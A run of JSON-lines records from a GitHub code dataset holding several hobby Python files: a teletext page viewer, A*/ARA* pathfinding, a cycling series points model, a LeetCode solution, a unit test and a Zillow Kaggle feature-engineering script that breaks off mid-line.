self.ingredient_to_id is None:\n msg = 'For SUB/EXTRA type the second ingredient must be not empty'\n else:\n return super().clean()\n raise ValidationError({'ingredient_to': msg})\n\n @property\n def is_hard(self):\n \"\"\"Check that mod is hard.\"\"\"\n return not self.is_soft\n","repo_name":"princesuccessive/macro_plate","sub_path":"apps/macroplate/models/meal_modifiers.py","file_name":"meal_modifiers.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30425973249","text":"import sys\nimport argparse\nimport datetime\nimport traceback\nfrom pathlib import Path\nfrom typing import List, Union, Tuple, Optional\n\n\nfrom src.scraper import Scraper, scraper_classes\nfrom src.console import ConsoleColors\nimport src.sources\n\n\ndef parse_args() -> dict:\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n \"scraper\", type=str,\n help=\"scraper name\"\n )\n parser.add_argument(\n \"page\", type=int, nargs=\"?\", default=100,\n help=\"page index\"\n )\n parser.add_argument(\n \"sub_page\", type=int, nargs=\"?\", default=1,\n help=\"subpage index\"\n )\n\n return vars(parser.parse_args())\n\n\nclass Viewer:\n\n def __init__(\n self,\n scraper: str,\n page: int = 100,\n sub_page: int = 1,\n ):\n self.scraper: Scraper = None\n self.pages: List[Tuple[int, int]] = []\n self.page = page\n self.sub_page = sub_page\n self.mode = \"ansi\"\n self.colors = True\n self.set_scraper(scraper)\n\n def command(self, cmd: str) -> Optional[str]:\n # print(repr(cmd))\n try:\n new_page = int(cmd)\n self.set_page(new_page)\n return\n except ValueError:\n pass\n\n if cmd == \"m\":\n self.mode = \"ansi\" if self.mode == \"json\" else \"json\"\n elif cmd == \"c\":\n self.colors = not self.colors\n elif cmd == \"\\x1b[c\":\n self.set_page(*self.get_next_page(self.page, self.sub_page, 1))\n elif cmd == \"\\x1b[d\":\n self.set_page(*self.get_next_page(self.page, self.sub_page, -1))\n elif cmd == \"\\x1b[a\":\n self.set_page(*self.get_next_page(self.page, 1000, 1))\n elif cmd == \"\\x1b[b\":\n self.set_page(*self.get_next_page(self.page, 0, -1))\n elif cmd == \"\\x1b[5~\":\n self.set_page(self.page + 10, 1)\n elif cmd == \"\\x1b[6~\":\n self.set_page(self.page - 10, 1)\n elif cmd in scraper_classes:\n self.set_scraper(cmd)\n else:\n return f\"Unknown command {repr(cmd)}\"\n\n def render(self):\n filename = self.scraper.to_filename(self.page, self.sub_page)\n content = filename.read_text()\n tt = self.scraper.to_teletext(content)\n\n print(f\"page {self.page}-{self.sub_page}\\n\")\n if self.mode == \"ansi\":\n print(tt.to_ansi(colors=self.colors))\n #Path(\"ansi.txt\").write_text(tt.to_ansi(colors=True))\n else:\n print(tt.to_ndjson())\n print(self.help_str())\n\n def help_str(self) -> str:\n help = \"q = quit, m = mode, c = color\\n\"\n help += \"page: 0-9, up/down, right/left\\n\"\n help += \", \".join(scraper_classes) + \"\\n\"\n return help\n\n def set_scraper(self, scraper: str):\n self.scraper: Scraper = scraper_classes[scraper]()\n self.pages: List[Tuple[int, int]] = []\n for fn in self.scraper.path().glob(f\"*.{self.scraper.FILE_EXTENSION}\"):\n name = fn.name.split(\".\")[0]\n self.pages.append(tuple(int(n) for n in name.split(\"-\")))\n self.pages.sort()\n self.set_page(self.page, self.sub_page)\n\n def set_page(self, page: int, sub_page: int = 1):\n self.page, self.sub_page = self.get_next_page(page, sub_page, 0)\n\n def get_next_page(self, page: int, sub_page: int, dir: int = 1) -> Tuple[int, int]:\n page = page, sub_page\n if dir == 0:\n for p in self.pages:\n if p >= page:\n return p\n return self.pages[0]\n\n if dir > 0:\n for p in self.pages:\n if p > page:\n return p\n return self.pages[0]\n\n elif dir < 0:\n for p in reversed(self.pages):\n if p < page:\n return p\n return self.pages[-1]\n\n return page\n\n\ndef main(\n scraper: str,\n page: int,\n sub_page: int\n):\n viewer = Viewer(scraper, page, sub_page)\n viewer.render()\n\n try:\n while True:\n\n cmd = input(\"> \").lower()\n\n if cmd == \"q\":\n break\n\n if cmd:\n msg = viewer.command(cmd)\n if msg:\n print(msg)\n else:\n viewer.render()\n\n except (KeyboardInterrupt, EOFError):\n print()\n\n\nif __name__ == \"__main__\":\n main(**parse_args())\n","repo_name":"defgsus/teletext-archive","sub_path":"show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":4444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37480923191","text":"import math\nfrom map import Map, UIMap\n\n\ndef heuristic_euclidean(start, goal):\n return math.sqrt((start.row - goal.row) ** 2 + (start.col - goal.col) ** 2)\n\n\ndef heuristic_diagonal_distance(start, goal):\n return max(math.fabs(start.row - goal.row), math.fabs(start.col - goal.col))\n\n\nHeuristicFunctions = {\n 'Euclidean Distance': heuristic_euclidean,\n 'Diagonal Distance': heuristic_diagonal_distance\n}\n\n\nclass AlgorithmState:\n INIT = 0\n RUN = 1\n FINISH = 2\n STOP = 3\n\n\nclass StateMachine:\n\n def __init__(self):\n self.state = AlgorithmState.INIT\n\n def stateInit(self):\n pass\n\n def stateStep(self):\n pass\n\n def stateFinish(self):\n pass\n\n def step(self):\n if self.state == AlgorithmState.INIT:\n self.stateInit()\n elif self.state == AlgorithmState.RUN:\n self.stateStep()\n elif self.state == AlgorithmState.FINISH:\n self.stateFinish()\n elif self.state == AlgorithmState.STOP:\n print('StateMachine STOPPED!')\n else:\n raise RuntimeError('Invalid State')\n\n def setState(self, state):\n self.state = state\n\n def run(self):\n while self.state != AlgorithmState.STOP:\n self.step()\n\n\nclass AStarAlgorithm(StateMachine):\n\n infinity = 1000000\n\n def __init__(self, heuristic_function=heuristic_euclidean):\n super().__init__()\n self.map = Map()\n self.state = AlgorithmState.INIT\n self.heuristicFunction = heuristic_function\n self.openVertices = []\n self.solution = []\n self.closeVertices = []\n self.cameFrom = {}\n self.incons = [] # local inconsistency\n self.coeff = 1\n\n def clearSolution(self):\n while len(self.solution) != 0:\n self.solution[0].removeFromSolutionVertices(self.solution)\n\n def clearCloseVertices(self):\n while len(self.closeVertices) != 0:\n self.closeVertices[0].removeFromCloseVertices(self.closeVertices)\n\n def clearOpenVertices(self):\n while len(self.openVertices) != 0:\n self.openVertices[0].removeFromOpenVertices(self.openVertices)\n\n def restart(self):\n self.clearOpenVertices()\n self.clearCloseVertices()\n self.clearSolution()\n if self.map is not None and self.state != AlgorithmState.INIT:\n self.map.reset()\n self.state = AlgorithmState.INIT\n\n def setMap(self, map):\n self.map = map\n\n def setCoeff(self, coeff):\n self.coeff = coeff\n\n def setHeuristicFunction(self, func):\n self.heuristicFunction = func\n\n def stateInit(self):\n super().stateInit()\n while len(self.solution) != 0:\n self.solution[0].removeFromSolutionVertices(self.solution)\n while len(self.closeVertices) != 0:\n self.closeVertices[0].removeFromCloseVertices(self.closeVertices)\n while len(self.openVertices) != 0:\n self.openVertices[0].removeFromOpenVertices(self.openVertices)\n\n self.cameFrom = {}\n self.incons = [] # local inconsistency\n\n for rowNode in self.map.graph:\n for node in rowNode:\n node.G = self.infinity\n node.F = self.infinity\n\n self.map.start.addToOpenVertices(self.openVertices)\n\n self.map.start.F = self.coeff * self.map.start.calcH(self.heuristicFunction, self.map.goal)\n self.map.start.G = 0\n\n self.setState(AlgorithmState.RUN)\n\n def stateStep(self):\n super().stateStep()\n\n current = self.__fValueOfOpenVertices()\n if current is None:\n self.setState(AlgorithmState.FINISH)\n return\n\n if self.map.goal.F > current.F:\n current.removeFromOpenVertices(self.openVertices)\n current.addToCloseVertices(self.closeVertices)\n\n neighbor = self.map.getVectorNeighborhood(current)\n for n in neighbor:\n if not n.isObstacle():\n if n.G > current.G + 1:\n n.G = current.G + 1\n n.F = n.G + self.coeff * n.calcH(self.heuristicFunction, self.map.goal)\n n.setCameFrom(current)\n if n not in self.closeVertices:\n if n not in self.openVertices:\n n.addToOpenVertices(self.openVertices)\n else:\n self.incons.append(n)\n else:\n self.setState(AlgorithmState.FINISH)\n return\n\n def stateFinish(self):\n self.traceSolution()\n self.setState(AlgorithmState.STOP)\n\n def traceSolution(self):\n result = []\n\n if self.map.goal.cameFrom is not None:\n self.map.goal.trace(result)\n result.reverse()\n\n if len(self.solution) == 0 or len(self.solution) > len(result):\n self.clearSolution()\n\n for x in result:\n x.addToSolutionVertices(self.solution)\n\n def __fValueOfOpenVertices(self):\n if len(self.openVertices) == 0:\n return None\n current = self.openVertices[0]\n for u in self.openVertices:\n if current.F > u.F:\n current = u\n return current\n\n def getSolution(self):\n return self.solution\n\n def exportFile(self, filePath):\n file = open(filePath, 'w')\n print(len(self.solution), file=file)\n if len(self.solution) != 0:\n for x in self.solution:\n print('({0}, {1})'.format(x.row, x.col), end=' ', file=file)\n print(file=file)\n self.map.exportFile(file)\n\n file.close()\n\n\nclass UIAStarAlgorithm(AStarAlgorithm):\n\n def __init__(self, heuristic_function=heuristic_euclidean):\n super().__init__(heuristic_function)\n self.__callbackDone = []\n self.__callbackStatusNode = []\n\n def setMap(self, map: UIMap):\n super().setMap(map)\n self.map.registerCallbackMouseMove(self.onShowStatus)\n\n def __cancelFastForward(self):\n if hasattr(self, 'fast_forward_cb_id'):\n self.map.canvas.after_cancel(self.fast_forward_cb_id)\n del self.fast_forward_cb_id\n\n def isStop(self):\n return self.state == AlgorithmState.STOP\n\n def restart(self):\n super().restart()\n\n def reset(self):\n self.stop()\n self.restart()\n for callback in self.__callbackDone:\n callback(None)\n self.__callbackDone.clear()\n\n for callback in self.__callbackStatusNode:\n callback(None, 0)\n self.__callbackStatusNode.clear()\n\n def stateFinish(self):\n super().stateFinish()\n self.onAlgorithmDone()\n\n def run(self):\n if self.state != AlgorithmState.STOP:\n self.step()\n self.fast_forward_cb_id = self.map.canvas.after(1, self.run)\n\n def fastForward(self):\n if not hasattr(self, 'fast_forward_cb_id'):\n self.run()\n\n def pause(self):\n self.__cancelFastForward()\n\n def stop(self):\n self.setState(AlgorithmState.FINISH)\n self.__cancelFastForward()\n\n def registerCallbackDone(self, callback):\n self.__callbackDone.append(callback)\n\n def registerStatusNodeCallback(self, callback):\n self.__callbackStatusNode.append(callback)\n\n def onAlgorithmDone(self):\n for callback in self.__callbackDone:\n callback(self.getSolution())\n\n def onShowStatus(self, node):\n for callback in self.__callbackStatusNode:\n callback(node, node.calcH(self.heuristicFunction, self.map.goal))\n\n\nclass ARAAlgorithm(AStarAlgorithm):\n\n def __init__(self, heuristic_function=HeuristicFunctions['Euclidean Distance']):\n super().__init__(heuristic_function)\n self.setCoeff(2)\n self.delta = -0.05\n\n def run(self):\n while self.coeff >= 1:\n super().run()\n self.state = AlgorithmState.RUN\n\n self.coeff = self.coeff + self.delta\n for x in self.incons:\n x.addToOpenVertices(self.openVertices)\n self.incons.clear()\n for u in self.openVertices:\n u.F = u.G + self.coeff * u.calcH(self.heuristicFunction, self.map.goal)\n while len(self.closeVertices) != 0:\n self.closeVertices[0].removeFromCloseVertices(self.closeVertices)\n self.run()\n self.state = AlgorithmState.RUN\n","repo_name":"VinhLoiIT/AI_Lab01","sub_path":"algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":8475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1619701979","text":"\nimport os\nimport GetModelInfo\nimport StringIO\n\ndef RaceNameFromPath( p ):\n\traceName = os.path.basename( p )\n\traceName = os.path.splitext( raceName )[0]\n\twhile raceName.endswith('-'):\n\t\traceName = raceName[:-1]\n\traceName = raceName.replace( '-', ' ' )\n\traceName = raceName.replace( ' ', '-', 2 )\n\treturn raceName\n\nclass PointStructure( object ):\n\n\tparticipationPoints = 0\n\n\tdef __init__( self, name, pointsStr=None, participationPoints=0 ):\n\t\tself.name = name\n\t\tif pointsStr is not None:\n\t\t\tself.setStr( pointsStr )\n\t\telse:\n\t\t\tself.setOCAOCup()\n\t\tself.participationPoints = participationPoints\n\t\t\n\tdef __getitem__( self, rank ):\n\t\treturn self.pointsForPlace.get( int(rank), self.participationPoints )\n\t\n\tdef __len__( self ):\n\t\treturn len(self.pointsForPlace)\n\t\n\tdef setUCIWorldTour( self ):\n\t\tself.pointsForPlace = { 1:100, 2:80, 3:70, 4:60, 5:50, 6:40, 7:30, 8:20, 9:10, 10:4 }\n\t\t\n\tdef setOCAOCup( self ):\n\t\tself.pointsForPlace = { 1:25, 2:20, 3:16, 4:13, 5:11, 6:10, 7:9, 8:8, 9:7, 10:6, 11:5, 12:4, 13:3, 14:2, 15:1 }\n\t\n\tdef getStr( self ):\n\t\treturn ', '.join( str(points) for points in sorted(self.pointsForPlace.values(), reverse=True) )\n\t\n\tdef getHtml( self ):\n\t\tvalues = [(pos, points) for pos, points in self.pointsForPlace.iteritems()]\n\t\tvalues.sort()\n\t\t\n\t\thtml = StringIO.StringIO()\n\t\thtml.write( '\\n' )\n\t\t\n\t\tfor pos, points in values:\n\t\t\thtml.write( '' )\n\t\t\thtml.write( ''.format(pos) )\n\t\t\thtml.write( ''.format(points) )\n\t\t\thtml.write( '\\n' )\n\t\t\t\n\t\tif self.participationPoints != 0:\n\t\t\thtml.write( '' )\n\t\t\thtml.write( '' )\n\t\t\thtml.write( ''.format(self.participationPoints) )\n\t\t\thtml.write( '\\n' )\n\t\t\t\n\t\thtml.write( '
    {}.{}
    Participation:{}
    \\n' )\n\t\treturn html.getvalue()\n\t\n\tdef setStr( self, s ):\n\t\ts = s.replace( ',', ' ' )\n\t\tvalues = set()\n\t\tfor v in s.split():\n\t\t\ttry:\n\t\t\t\tvalues.add( int(v) )\n\t\t\texcept:\n\t\t\t\tcontinue\n\t\tself.pointsForPlace = dict( (i+1, v) for i, v in enumerate(sorted(values, reverse=True)) )\n\t\t\n\tdef __repr__( self ):\n\t\treturn '(%s: %s + %s)' % ( self.name, self.getStr(), participationPoints )\n\nclass Race( object ):\n\texcelLink = None\n\t\n\tdef __init__( self, fileName, pointStructure, excelLink = None ):\n\t\tself.fileName = fileName\n\t\tself.pointStructure = pointStructure\n\t\tself.excelLink = excelLink\n\t\t\n\tdef getRaceName( self ):\n\t\tif os.path.splitext(self.fileName)[1] == '.cmn':\n\t\t\treturn RaceNameFromPath( self.fileName )\n\t\t\t\n\t\tif self.excelLink:\n\t\t\ttry:\n\t\t\t\treturn u'{}:{}'.format( os.path.basename(os.path.splitext(self.fileName)[0]), self.excelLink.sheetName )\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\n\t\treturn RaceNameFromPath( self.fileName )\n\t\t\n\tdef postReadFix( self ):\n\t\tif getattr( self, 'fname', None ):\n\t\t\tself.fileName = getattr(self, 'fname')\n\t\t\tdelattr( self, 'fname' )\n\t\t\t\t\n\tdef getFileName( self ):\n\t\tif os.path.splitext(self.fileName)[1] == '.cmn' or not self.excelLink:\n\t\t\treturn self.fileName\n\t\treturn u'{}:{}'.format( self.fileName, self.excelLink.sheetName )\n\t\t\n\tdef __repr__( self ):\n\t\treturn ', '.join( '{}={}'.format(a, repr(getattr(self, a))) for a in ['fileName', 'pointStructure', 'excelLink'] )\n\t\t\nclass SeriesModel( object ):\n\tDefaultPointStructureName = 'Example'\n\tuseMostEventsCompleted = False\n\tscoreByTime = False\n\tscoreByPercent = False\n\tlicenseLinkTemplate = u''\t# Used to create an html link from the rider's license number in the html output.\n\tbestResultsToConsider = 0\t# 0 == all\n\tmustHaveCompleted = 0\t\t# Number of events to complete to be eligible for results.\n\n\tdef __init__( self ):\n\t\tself.name = ''\n\t\tself.races = []\n\t\tself.pointStructures = [PointStructure(self.DefaultPointStructureName)]\n\t\tself.numPlacesTieBreaker = 5\n\t\tself.errors = []\n\t\tself.changed = False\n\t\t\n\tdef postReadFix( self ):\n\t\tfor r in self.races:\n\t\t\tr.postReadFix()\n\t\n\tdef setPoints( self, pointsList ):\n\t\toldPointsList = [(p.name, p.name, p.getStr()) for p in self.pointStructures]\n\t\tif oldPointsList == pointsList:\n\t\t\treturn\n\t\t\t\n\t\tself.changed = True\n\t\t\n\t\tnewPointStructures = []\n\t\toldToNewName = {}\n\t\tnewPS = {}\n\t\tfor name, oldName, points, participationPoints in pointsList:\n\t\t\tname = name.strip()\n\t\t\toldName = oldName.strip()\n\t\t\tpoints = points.strip()\n\t\t\tif not name or name in newPS:\n\t\t\t\tcontinue\n\t\t\tparticipationPoints = int(participationPoints or '0')\n\t\t\tps = PointStructure( name, points, participationPoints )\n\t\t\toldToNewName[oldName] = name\n\t\t\tnewPS[name] = ps\n\t\t\tnewPointStructures.append( ps )\n\t\t\t\n\t\tif not newPointStructures:\n\t\t\tnewPointStructures = [PointStructure(self.DefaultPointStructureName)]\n\t\t\t\n\t\tfor r in self.races:\n\t\t\tr.pointStructure = newPS.get( oldToNewName.get(r.pointStructure.name, ''), newPointStructures[0] )\n\t\t\t\n\t\tself.pointStructures = newPointStructures\n\t\n\tdef setRaces( self, raceList ):\n\t\toldRaceList = [(r.fileName, r.pointStructure.name, r.excelLink) for r in self.races]\n\t\tif oldRaceList == raceList:\n\t\t\treturn\n\t\t\n\t\tself.changed = True\n\t\t\n\t\tnewRaces = []\n\t\tps = dict( (p.name, p) for p in self.pointStructures )\n\t\tfor fileName, pname, excelLink in raceList:\n\t\t\tfileName = fileName.strip()\n\t\t\tpname = pname.strip()\n\t\t\tif not fileName:\n\t\t\t\tcontinue\n\t\t\ttry:\n\t\t\t\tp = ps[pname]\n\t\t\texcept KeyError:\n\t\t\t\tcontinue\n\t\t\tnewRaces.append( Race(fileName, p, excelLink) )\n\t\t\t\n\t\tself.races = newRaces\n\t\n\tdef setChanged( self, changed = True ):\n\t\tself.changed = changed\n\t\n\tdef addRace( self, name ):\n\t\tself.changed = True\n\t\trace = Race( name, self.pointStructures[0] )\n\t\tself.races.append( race )\n\t\t\n\tdef removeRace( self, name ):\n\t\traceCount = len(self.races)\n\t\tself.races = [r for r in self.races if r.fileName != name]\n\t\tif raceCount != len(self.races):\n\t\t\tself.changed = True\n\t\n\tdef extractAllRaceResults( self ):\n\t\traceResults = []\n\t\toldErrors = self.errors\n\t\tself.errors = []\n\t\tfor r in self.races:\n\t\t\tsuccess, ex, results = GetModelInfo.ExtractRaceResults( r )\n\t\t\tif success:\n\t\t\t\traceResults.extend( results )\n\t\t\telse:\n\t\t\t\tself.errors.append( (r, ex) )\n\t\tif oldErrors != self.errors:\n\t\t\tself.changed = True\n\t\treturn raceResults\n\t\t\t\nmodel = SeriesModel()\n","repo_name":"zbanga/abundata","sub_path":"SeriesMgr/SeriesModel.py","file_name":"SeriesModel.py","file_ext":"py","file_size_in_byte":6074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39001881548","text":"class Solution:\n def maxProfit(self, prices) -> int:\n low = 0\n high = 1\n profit = 0\n while high < len(prices):\n if prices[low] < prices[high]:\n prof = prices[high]-prices[low]\n profit = max[prof, profit]\n else:\n low = high\n high += 1\n return profit\n\n\nprices = [7, 1, 5, 3, 6, 4]\nobj = Solution\nobj.maxProfit(prices)\n","repo_name":"nazgul735/easyAlgorithms","sub_path":"leetCode_python/bestTimeForStock.py","file_name":"bestTimeForStock.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"42981324896","text":"import unittest\nfrom general_poly import *\n\nclass GeneralPolyTest(unittest.TestCase):\n def test_it_can_evaluate_general_poly_function(self):\n L = [1, 2, 3, 4]\n x = 10\n expected = 1234\n actual = general_poly(L)(x)\n\n self.assertEqual(expected, actual)\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"dtinianow/MITx-6.00.1x","sub_path":"final/p07/test_general_poly.py","file_name":"test_general_poly.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7833747244","text":"import pandas as pd\nimport numpy as np\nimport xgboost as xgb\nimport lightgbm as lgb\nimport gc\nimport matplotlib.pyplot as plt\nimport dataprocess.LocationProcess as location\n\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nfrom sklearn.metrics import mean_absolute_error, make_scorer\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.cross_validation import train_test_split\n\n\n\nxgb_month_params = {\n 'n_estimators': 100,\n 'learning_rate': 0.01,\n 'max_depth': 3,\n 'min_child_weight': 3,\n 'gamma': 0,\n 'subsample': 0.85,\n 'colsample_bytree': 0.95,\n # 'reg_alpha': 0.005,\n 'eval_metric': 'rmse',\n 'nthread': 4,\n 'seed': 2017,\n 'silent':1\n}\nxgb_params = {\n 'n_estimators': 1000,\n 'learning_rate': 0.01,\n 'max_depth': 20,\n 'min_child_weight': 5,\n 'gamma': 0,\n 'subsample': 0.85,\n 'colsample_bytree': 0.95,\n 'reg_lambda': 0.6,\n 'eval_metric': 'mae',\n 'nthread': 4,\n 'seed': 2017,\n 'silent':1\n}\n\nlgb_params = {\n # 'num_boost_round': 3000,\n 'n_estimators': 500,\n 'metric': 'mae',\n 'max_depth': 20, # [5, 7, 9, 11] 11 ......0.05230 range(20, 28, 2) 20 0.0522987207084\n 'num_leaves': 31, # [30, 50, 70] 30\n 'min_child_weight': 5, # [5, 7, 9, 11] 11, range(11, 20, 1) 13 -0.0522928279209\n 'min_child_samples': 13,\n 'learning_rate': 0.01,\n 'subsample': 0.85,\n 'reg_lambda': 0.6, # -0.0522817311929\n 'reg_alpha':0.8,\n 'colsample_bytree': 0.95,\n 'verbose': 0,\n 'nthread': 4,\n 'seed': 2017,\n}\n\n\n\nparam_tests = {\n 'min_child_weight': [2, 6, 10],\n 'min_child_samples': [5, 10, 20],\n}\n\nresult_index = 0\nx_train = pd.read_csv('..\\\\data\\\\train_df.csv', low_memory=False)\nx_test = pd.read_csv(\"..\\\\data\\\\test_df\"+str(result_index)+\".csv\", low_memory=False)\ny_train = pd.read_csv('E:\\\\kaggle\\\\zillow_new\\\\train_2016_v2.csv', parse_dates=['transactiondate'], low_memory=False)\nresult = pd.DataFrame(np.zeros((x_test.shape[0], 7)), columns=['parcelid', '201610', '201611', '201612', '201710', '201711', '201712'])\nresult['parcelid'] = x_test['parcelid'].values\n\nprint(result.tail())\nprint(x_train.shape)\nprint(x_test.shape)\n# drop useless feature\nx_train.drop(['parcelid'], axis=1, inplace=True)\nx_test.drop(['parcelid'], axis=1, inplace=True)\n\ndef typeTrans(data: pd.DataFrame):\n for col in data.columns:\n if data[col].dtype == np.float64:\n data[col] = data[col].astype(np.float32)\n elif data[col].dtype == np.int64:\n data[col] = data[col].astype(np.int32)\n\n return data\n\nx_train = typeTrans(x_train)\ny_train = typeTrans(y_train)\nx_test = typeTrans(x_test)\n\nprint('删除异常点')\nx_train = x_train.loc[((y_train['logerror']) > -0.3) & ((y_train['logerror']) < 0.3), :]\ny_train= y_train.loc[((y_train['logerror']) > -0.3) & ((y_train['logerror']) < 0.3), :]\n\nindex = x_train['calculatedfinishedsquarefeet']<13000\nx_train = x_train.loc[index, :]\ny_train = y_train.loc[index, :]\n\n\nx_train = x_train.reset_index()\ny_train = y_train.reset_index()\nx_train.drop(['index'], axis=1, inplace=True)\ny_train.drop(['index'], axis=1, inplace=True)\n\nx_train.drop(['transactiondate', 'logerror'], axis=1, inplace=True)\ntrain_nums = x_train.shape[0]\n\n\n\nx_train['abs_logerror'] = np.abs(y_train['logerror'])\n\nprint(x_train.shape)\n# print(x_test.shape)\nx_train = x_train.append(x_test)\n\ndel x_test\ngc.collect()\n\n\nprint('降低大数值')\nx_train[['latitude', 'longitude']] /= 1e6\nx_train['censustractandblock'] /= 1e12\n\n# 填补空值\n# (0.0521833544848, 0.0521497370622)\n# knn_model = KNeighborsClassifier(n_neighbors=3)\n# knn_model.fit(x_train.loc[~x_train['regionidzip'].isnull(), ['latitude', 'longitude']], x_train.loc[~x_train['regionidzip'].isnull() ,'regionidzip'])\n# x_train.loc[x_train['regionidzip'].isnull(), 'regionidzip'] = knn_model.predict(x_train.loc[x_train['regionidzip'].isnull(), ['latitude', 'longitude']])\n\n\n\n# 添加房屋使用年限属性 (不使用0.0521131, 使用0.0521146, 不推荐)\n# x_train['user_years'] = 2016 - x_train['yearbuilt']\n\n# (使用0.0523576747394, 不使用0.0523704981121, 使用效果更好)\nx_train['taxdelinquencyflag'].fillna('N')\nx_train = pd.concat([x_train, pd.get_dummies(x_train['fips'])], axis=1)\n\n# (0.0521497370622, 0.0522153081385)\nx_train = pd.concat([x_train, pd.get_dummies(x_train['propertylandusetypeid'])], axis=1)\n\n# (使用0.0523452391788, 不使用0.0523576747394, 使用效果更好)\nx_train['room_num'] = x_train['bedroomcnt'] + x_train['bathroomcnt']\n\n# (0.0523369482222, 0.0523452391788)\nx_train['living_all_rate'] = x_train['finishedsquarefeet12'] / x_train['lotsizesquarefeet']\nx_train['N-LivingAreaProp2'] = x_train['finishedsquarefeet12']/x_train['finishedsquarefeet15']\n\n\n#Amout of extra space(0.0520669555005, 0.0521634656378)\nx_train['N-ExtraSpace'] = x_train['lotsizesquarefeet'] - x_train['calculatedfinishedsquarefeet']\nx_train['N-ExtraSpace-2'] = x_train['finishedsquarefeet15'] - x_train['finishedsquarefeet12']\n\nx_train['square_per'] = x_train['calculatedfinishedsquarefeet'] / x_train['room_num']\n\nx_train[\"N-location\"] = x_train[\"latitude\"] + x_train[\"longitude\"]\nx_train[\"N-location-2\"] = x_train[\"latitude\"]*x_train[\"longitude\"]\nx_train[\"N-location-2round\"] = x_train[\"N-location-2\"].round(-4)\n\nx_train[\"N-latitude-round\"] = x_train[\"latitude\"].round(-4)\nx_train[\"N-longitude-round\"] = x_train[\"longitude\"].round(-4)\n\n\n#Number of properties in the zip(0.0530555574765)\nzip_count = x_train['regionidzip'].value_counts().to_dict()\nx_train['N-zip_count'] = x_train['regionidzip'].map(zip_count)\n\n#Number of properties in the city(使用0.0530163393381,)\ncity_count = x_train['regionidcity'].value_counts().to_dict()\nx_train['N-city_count'] = x_train['regionidcity'].map(city_count)\n\n#Number of properties in the city\nregion_count = x_train['regionidcounty'].value_counts().to_dict()\nx_train['N-county_count'] = x_train['regionidcounty'].map(city_count)\n\n\n# # 修正偏度属性()\nx_train['calculatedfinishedsquarefeet'] = np.log(x_train['calculatedfinishedsquarefeet'])\n# x_train['finishedsquarefeet12'] = np.log(x_train['finishedsquarefeet12'])\n\n\n\n# 根据位置信息补全(0.0522890539257, 0.0523369482222)\nprint('----location-----')\nimportant_features = ['calculatedfinishedsquarefeet', 'taxamount',\n 'taxvaluedollarcnt', 'structuretaxvaluedollarcnt',\n 'landtaxvaluedollarcnt', 'yearbuilt',\n 'living_all_rate', 'room_num',\n ]\n\n\nfor col in important_features:\n x_train = location.cityProcess(x_train, col, 'regionidzip')\n\n\nfor col in x_train.columns:\n if x_train[col].dtype == 'object':\n lbl = LabelEncoder()\n lbl.fit(x_train[col].astype(str))\n x_train[col] = lbl.transform(x_train[col].astype(str)).astype(np.int32)\n\nx_test = x_train[train_nums: ]\nx_train = x_train[: train_nums]\n\n# 验证集\n# test_data = x_train.loc[y_train['transactiondate'] > '2016-10-15', :]\n# test_y = y_train.loc[y_train['transactiondate'] > '2016-10-15', :]\n#\n#\n# x_train = x_train.loc[y_train['transactiondate'] <= '2016-10-15', :]\n# y_train = y_train.loc[y_train['transactiondate'] <= '2016-10-15', :]\n#\n# tmp_x, final_x, tmp_y, final_y = train_test_split(test_data, test_y, test_size=0.3, random_state=0)\n# x_train = pd.concat([x_train, tmp_x], axis=0)\n# y_train = pd.concat([y_train, tmp_y], axis=0)\n\n\n\nx_train['transaction_month'] = y_train['transactiondate'].dt.month\nabs_month_avgs = x_train.groupby('transaction_month').agg(['mean'])['abs_logerror', 'mean'].values - x_train['abs_logerror'].mean()\nx_train.drop(['abs_logerror'], axis=1, inplace=True)\nx_test.drop(['abs_logerror'], axis=1, inplace=True)\n\n\n\nprint(abs_month_avgs)\nfrom sklearn.linear_model import LinearRegression\n\n\nmonth_values = x_train['transaction_month'].values\nmonth_model = LinearRegression().fit(np.arange(4, 13, 1).reshape(-1, 1), abs_month_avgs[3:].reshape(-1 ,1))\nx_train['month_logerror_diff'] = month_model.predict(month_values.reshape(-1, 1))\n\nx_train = x_train.fillna(-1)\nx_train['logerror'] = y_train['logerror'].values\nx_train.to_csv('..\\\\data\\\\x_train.csv', index=False)\nx_train.drop(['logerror'], axis=1, inplace=True)\n\n\n# final_x['transaction_month'] = final_y['transactiondate'].dt.month\n# final_x['month_logerror_diff'] = month_model.predict(final_x['transaction_month'].values.reshape(-1,1))\n#\n\n# drop useless feature\n# useless_feature = ['parcelid', 'buildingclasstypeid', 'finishedsquarefeet13', 'basementsqft', 'storytypeid', 'yardbuildingsqft26', 'fireplaceflag', 'architecturalstyletypeid', 'typeconstructiontypeid', 'finishedsquarefeet6', 'decktypeid', 'poolsizesum', 'pooltypeid10', 'pooltypeid2', 'taxdelinquencyflag', 'taxdelinquencyyear', 'hashottuborspa', 'yardbuildingsqft17']\n# x_train.drop(useless_feature, axis=1, inplace=True)\n\n\n# mean_values = x_train.mean(axis=0)\n# x_train = x_train.fillna(mean_values, inplace=True)\n\n\n\n\nprint('模型训练')\n# y_train['logerror'] = y_train['logerror'] * 0.99\n\n# model = GridSearchCV(estimator=xgb.XGBRegressor(**xgb_params), param_grid=param_tests, scoring='mean_absolute_error', cv=5, verbose=10)\n# model.fit(x_train, y_train['logerror'])\n# print(model.grid_scores_, model.best_params_, model.best_score_)\n# dtrain = xgb.DMatrix(data=x_train, label=y_train['logerror'], feature_names=x_train.columns)\n# model = xgb.cv(xgb_params, dtrain, nfold=5, num_boost_round=1000, 